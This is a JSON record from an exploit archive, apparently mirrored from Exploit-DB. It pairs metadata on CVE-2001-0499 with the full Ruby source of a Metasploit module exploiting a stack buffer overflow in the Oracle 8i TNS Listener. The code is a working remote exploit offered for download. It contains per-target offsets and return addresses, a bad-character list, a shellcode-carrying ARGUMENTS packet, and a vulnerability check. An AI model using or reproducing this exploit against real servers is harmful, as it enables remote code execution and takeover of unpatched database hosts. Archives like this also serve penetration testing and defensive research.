{"exploit":{"id":"EDB-16340","name":"Oracle 8i - TNS Listener 'ARGUMENTS' Remote Buffer Overflow (Metasploit)","description":"Oracle 8i - TNS Listener 'ARGUMENTS' Remote Buffer Overflow (Metasploit)","cves":["CVE-2001-0499"],"author":"Metasploit","published":"2010-11-24","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16340","path":"exploits/windows/remote/16340.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16340.rb","vulnerabilities":[{"id":"CVE-2001-0499","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Transparent Network Substrate (TNS) Listener in Oracle 8i 8.1.7 and earlier allows remote attackers to gain privileges via a long argument to the commands (1) STATUS, (2) PING, (3) SERVICES, (4) TRC_FILE, (5) SAVE_CONFIG, or (6) RELOAD.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0499","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0499"},"updatedAt":"2024-08-08T04:21:38.508Z","retrievedAt":"2026-11-27T13:13:04.135Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16340.png?v=2","url":"https://exploitbin.com/exploits/EDB-16340","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16340/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16340/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: tns_arguments.rb 11122 2010-11-24 06:10:13Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::Remote::TNS\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in Oracle 8i. When\n\t\t\t\tsending a specially crafted packet containing a overly long\n\t\t\t\tARGUMENTS string to the TNS service, an attacker may be able\n\t\t\t\tto execute arbitrary code.\n\t\t\t},\n\t\t\t'Author'         => [ 'MC' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 11122 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2001-0499' ],\n\t\t\t\t\t[ 'OSVDB', '9427'],\n\t\t\t\t\t[ 'BID', '2941' ],\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 600,\n\t\t\t\t\t'BadChars' => \"\\x00\\x3a\\x26\\x3f\\x25\\x23\\x20\\x0a\\x0d\\x2f\\x2b\\x0b\\x5c&=+?:;-,/#.\\\\\\$\\% ()\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)',   { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ],\n\t\t\t\t\t[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)',   { 'Offset' => 6379, 'Ret' => 0x60a1e154 }] ,\n\t\t\t\t],\n\t\t\t'DefaultTarget' => 0,\n\t\t\t'DisclosureDate' => 'Jun 28 2001'))\n\n\t\tregister_options([Opt::RPORT(1521)], self.class)\n\tend\n\n\tdef check\n\t\tconnect\n\n\t\tversion = \"(CONNECT_DATA=(COMMAND=VERSION))\"\n\n\t\tpkt = tns_packet(version)\n\n\t\tsock.put(pkt)\n\n\t\tsock.get_once\n\n\t\tres = sock.get_once(-1, 1)\n\n\t\tdisconnect\n\n\t\t\tif ( res and res =~ /32-bit Windows: Version 8\\.1\\.7\\.0\\.0/ )\n\t\t\t\treturn Exploit::CheckCode::Vulnerable\n\t\t\tend\n\t\t\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef exploit\n\t\tconnect\n\n\t\t\tbuff =  rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded\n\t\t\tbuff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')\n\t\t\tbuff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966)\n\n\t\t\tsploit = \"(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=#{buff}))\"\n\n\t\t\tpkt = tns_packet(sploit)\n\n\t\t\tprint_status(\"Trying target #{target.name}...\")\n\t\t\tsock.put(pkt)\n\n\t\t\thandler\n\n\t\tdisconnect\n\tend\n\nend","sha256":"91968507ab2bd0e45377846dcd366e04d51b370750744c8c828479fa4b6445f6","bytes":2537,"fetchedAt":"2026-11-27T13:13:00.984Z","encoding":"utf-8 (display only; download retains original bytes)"}